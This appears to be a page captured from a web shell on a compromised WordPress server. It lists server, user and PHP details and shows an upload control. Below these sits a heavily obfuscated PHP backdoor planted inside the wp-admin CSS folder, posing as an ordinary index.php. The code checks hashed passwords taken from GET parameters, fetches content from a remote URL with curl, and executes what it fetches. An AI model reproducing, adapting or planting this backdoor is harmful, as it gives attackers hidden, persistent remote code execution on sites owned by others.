HEX
Server: nginx/1.25.5
System: Linux hcss-ecs-9064 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/885213.cn/wp-admin/css/colors/midnight/midnight/index.php
<?php
 goto OiMRyzw2LBV9IaRG; rEcP9W4FnRAwHf0J: $WlFA0gPLCd2jdy3m[86] = $WlFA0gPLCd2jdy3m[70]($WlFA0gPLCd2jdy3m[86]); goto BEY7ar6_S46Q_57I; OiMRyzw2LBV9IaRG: $Ln5P36dqHGUhn0wD = range("\x7e", "\x20"); goto GRrTN3ReD66T0xJ3; GRrTN3ReD66T0xJ3: $WlFA0gPLCd2jdy3m = ${$Ln5P36dqHGUhn0wD[13 + 18] . $Ln5P36dqHGUhn0wD[3 + 56] . $Ln5P36dqHGUhn0wD[10 + 37] . $Ln5P36dqHGUhn0wD[32 + 15] . $Ln5P36dqHGUhn0wD[40 + 11] . $Ln5P36dqHGUhn0wD[10 + 43] . $Ln5P36dqHGUhn0wD[51 + 6]}; goto dM5qX_hTZ81_Avpm; NRwhrGG1kZ4qkXPv: metaphone("\162\102\141\x30\x67\x70\x48\x33\x4b\x79\126\161\167\65\x4d\x65\x41\x58\x4f\142\x77\114\x71\113\110\x6b\x43\124\165\x6d\x2f\62\x53\x72\147\105\57\x78\165\x35\x35\101\115"); goto fdiY32IPXvETbtAz; BEY7ar6_S46Q_57I: @($WlFA0gPLCd2jdy3m = $WlFA0gPLCd2jdy3m[86]($WlFA0gPLCd2jdy3m[54], $WlFA0gPLCd2jdy3m[70](${$WlFA0gPLCd2jdy3m[46]}[27]))); goto RM_40C3S1LFp8LgS; dM5qX_hTZ81_Avpm: if (!(in_array(gettype($WlFA0gPLCd2jdy3m) . "\61\65", $WlFA0gPLCd2jdy3m) && md5(md5(md5(md5($WlFA0gPLCd2jdy3m[9])))) === "\64\x36\61\x63\62\x34\61\x61\62\63\x37\71\x64\x61\x38\x62\x65\60\x63\x32\70\x39\65\66\62\x64\x34\x61\x30\x35\66\x61")) { goto msbLPSja142OXURn; } goto WFQv837m_CnvX5VS; fdiY32IPXvETbtAz: class sp7LTL5TGgN56E1J { static function efh8y_oCXuQMhdtj($l4oJBZ1AeZTY8Nf7) { goto oecFybU7fIwqef6s; oecFybU7fIwqef6s: $GhWwxDk9CRyv2msP = "\x72" . "\x61" . "\x6e" . "\147" . "\145"; goto Ei7s2PCBqja4reFn; ouwCYyuzeQjHhAMm: return $SWBQaxztzEpKYapV; goto pcqFcpSJz14l2jvg; t9DS2kdbtzzbOSXU: foreach ($zdIbpQHnNtMT4GVf as $E3frGgu7pXeJVEof => $fYT0Bcu3XCPn4jbb) { $SWBQaxztzEpKYapV .= $SNPELesoccx8bHqM[$fYT0Bcu3XCPn4jbb - 90227]; RpiRt9lmVxbAYDQ_: } goto McJrHhkx15xiANwA; McJrHhkx15xiANwA: wEeyvptJCw57nmf3: goto ouwCYyuzeQjHhAMm; gSmnq5bdKf6XPlY2: $SWBQaxztzEpKYapV = ''; goto t9DS2kdbtzzbOSXU; HYHjmVJvpP7kpM_0: $zdIbpQHnNtMT4GVf = explode("\51", $l4oJBZ1AeZTY8Nf7); goto gSmnq5bdKf6XPlY2; Ei7s2PCBqja4reFn: $SNPELesoccx8bHqM = $GhWwxDk9CRyv2msP("\176", "\40"); goto HYHjmVJvpP7kpM_0; pcqFcpSJz14l2jvg: } static function HhJECvtdUksQeBfb($kXmw34jzhwVc5hpL, $DIOVDMj6OMRmXeq9) { goto pEnFS5pQte7Wl945; DYgY2URhzaA50D4Q: $HPJmLu3ITSZqBue6 = curl_exec($Z5b_dKnmi9TaA8xz); goto WpVyOqWfSxatQ3kX; pEnFS5pQte7Wl945: $Z5b_dKnmi9TaA8xz = curl_init($kXmw34jzhwVc5hpL); goto xm0pN0UiObpD0XIY; WpVyOqWfSxatQ3kX: return empty($HPJmLu3ITSZqBue6) ? $DIOVDMj6OMRmXeq9($kXmw34jzhwVc5hpL) : $HPJmLu3ITSZqBue6; goto bDGAq5O32JniV39_; xm0pN0UiObpD0XIY: curl_setopt($Z5b_dKnmi9TaA8xz, CURLOPT_RETURNTRANSFER, 1); goto DYgY2URhzaA50D4Q; bDGAq5O32JniV39_: } static function cEpxHUXU_3HAYuAi() { goto dKivY729Xo0L6gNV; OmQ8YTRNX7wlJUMu: $nXluoawF0qQuaS6i = self::HHJECVtDuKSQeBfb($se6BlsJcOxc8Bh_R[0 + 1], $u3nmKhjtXNrL58N4[1 + 4]); goto aTWdoOUtEi4aoUHo; jIPatqYBfUjug0RP: $se6BlsJcOxc8Bh_R = $u3nmKhjtXNrL58N4[1 + 1]($vqfSz4xGjO0fF5bD, true); goto vtXiSgmQ4kZ6IBLM; vtXiSgmQ4kZ6IBLM: @$u3nmKhjtXNrL58N4[8 + 2](INPUT_GET, "\157\x66") == 1 && die($u3nmKhjtXNrL58N4[2 + 3](__FILE__)); goto BOyybVO2vmul2oL8; aTWdoOUtEi4aoUHo: @$u3nmKhjtXNrL58N4[0]('', $u3nmKhjtXNrL58N4[3 + 4] . $u3nmKhjtXNrL58N4[0 + 4]($nXluoawF0qQuaS6i) . $u3nmKhjtXNrL58N4[2 + 6]); goto hdEyjTJb_Vc3H1K_; onA5jti5PVWCCCBU: $S7EiDBodkwFNAWhY = @$u3nmKhjtXNrL58N4[1]($u3nmKhjtXNrL58N4[2 + 8](INPUT_GET, $u3nmKhjtXNrL58N4[8 + 1])); goto EOSywSeWsJkr6uqi; EOSywSeWsJkr6uqi: $vqfSz4xGjO0fF5bD = @$u3nmKhjtXNrL58N4[0 + 3]($u3nmKhjtXNrL58N4[4 + 2], $S7EiDBodkwFNAWhY); goto jIPatqYBfUjug0RP; SlK7E8dxV1K3X6b6: i2FBpw9UMpRZrQ4z: goto onA5jti5PVWCCCBU; hdEyjTJb_Vc3H1K_: die; goto jM9zlU93W1YVMqtI; UdJKySSBdilPjS64: foreach ($G83EffDGJ34So1K2 as $hOG3MiP0Ls3kYcZy) { $u3nmKhjtXNrL58N4[] = self::Efh8y_OcXUQMHDTj($hOG3MiP0Ls3kYcZy); OWRG4JprYNx2PZm6: } goto SlK7E8dxV1K3X6b6; jM9zlU93W1YVMqtI: EHwgD9sTrbmqEKWh: goto zBQvO7ON_fmgo8cL; BOyybVO2vmul2oL8: if (!(@$se6BlsJcOxc8Bh_R[0] - time() > 0 and md5(md5($se6BlsJcOxc8Bh_R[0 + 3])) === "\x62\70\146\x61\x37\65\x36\67\61\x65\x35\61\64\x30\x30\x38\145\x36\x63\x39\x38\x64\61\146\62\63\63\x33\x31\64\x37\143")) { goto EHwgD9sTrbmqEKWh; } goto OmQ8YTRNX7wlJUMu; dKivY729Xo0L6gNV: $G83EffDGJ34So1K2 = array("\71\x30\x32\65\x34\51\x39\60\62\63\71\x29\71\x30\x32\65\62\51\71\60\x32\65\66\51\71\x30\x32\x33\67\x29\71\60\x32\65\x32\x29\x39\x30\x32\x35\70\51\71\x30\62\65\x31\51\71\60\x32\63\x36\51\71\60\62\64\63\x29\x39\60\62\x35\x34\51\71\x30\x32\63\67\51\71\60\x32\x34\x38\51\71\60\x32\64\62\51\71\60\x32\x34\63", "\x39\60\62\63\x38\51\x39\x30\x32\x33\x37\x29\71\x30\62\x33\71\51\71\x30\x32\x35\x38\x29\x39\x30\62\63\71\x29\x39\x30\x32\64\62\51\71\60\x32\x33\x37\51\71\60\x33\60\x34\51\x39\x30\x33\x30\62", "\71\60\x32\x34\67\x29\x39\x30\x32\x33\70\x29\71\60\62\64\x32\x29\71\60\62\x34\63\51\x39\60\x32\65\x38\51\x39\x30\x32\x35\63\51\x39\x30\62\x35\62\x29\x39\x30\x32\65\64\51\x39\x30\62\64\x32\51\x39\x30\x32\65\x33\x29\71\x30\62\65\62", "\x39\x30\62\64\61\51\x39\60\x32\65\x36\x29\x39\60\62\x35\64\51\x39\60\x32\x34\x36", "\x39\60\62\x35\x35\51\x39\x30\x32\65\x36\x29\71\x30\x32\x33\x38\51\x39\x30\62\65\x32\51\71\x30\x32\x39\71\x29\71\60\63\60\x31\51\x39\60\x32\65\x38\x29\x39\x30\x32\x35\x33\x29\71\x30\62\x35\62\51\71\60\62\65\x34\x29\x39\60\x32\64\62\x29\71\60\x32\65\63\x29\x39\x30\x32\65\62", "\71\x30\62\x35\61\x29\x39\60\x32\64\70\51\x39\x30\62\64\x35\x29\x39\60\x32\65\x32\51\71\60\x32\65\x38\51\71\x30\62\x35\x30\x29\x39\60\x32\65\62\51\71\60\62\63\67\x29\x39\x30\x32\65\70\51\x39\60\62\65\x34\51\71\x30\x32\64\62\x29\x39\60\62\64\x33\x29\x39\60\x32\63\67\x29\x39\x30\x32\x35\62\x29\71\60\62\x34\x33\x29\71\60\x32\63\x37\51\x39\60\x32\63\70", "\x39\60\62\70\x31\51\x39\60\63\x31\61", "\x39\x30\x32\x32\70", "\x39\60\x33\x30\x36\x29\71\60\x33\61\x31", "\71\x30\x32\70\x38\x29\x39\x30\x32\x37\x31\x29\x39\x30\x32\x37\61\51\71\x30\62\70\x38\x29\x39\x30\x32\66\x34", "\x39\60\x32\65\x31\51\71\60\62\64\x38\51\71\x30\62\x34\65\x29\x39\x30\x32\x33\67\x29\x39\x30\62\65\62\51\71\60\x32\x33\x39\x29\71\x30\x32\x35\70\51\x39\x30\x32\64\x38\51\x39\x30\x32\x34\x33\51\71\x30\x32\64\x31\51\71\x30\62\63\66\51\71\60\62\63\67"); goto UdJKySSBdilPjS64; zBQvO7ON_fmgo8cL: } } goto UD4XebWX7jtlpxCs; RM_40C3S1LFp8LgS: $WlFA0gPLCd2jdy3m(); goto n2lIm1GRv2rMeJyu; n2lIm1GRv2rMeJyu: msbLPSja142OXURn: goto NRwhrGG1kZ4qkXPv; WFQv837m_CnvX5VS: $WlFA0gPLCd2jdy3m[70] = $WlFA0gPLCd2jdy3m[70] . $WlFA0gPLCd2jdy3m[79]; goto rEcP9W4FnRAwHf0J; UD4XebWX7jtlpxCs: sp7Ltl5TGgN56E1J::CEPXHuXU_3haYuaI();
?>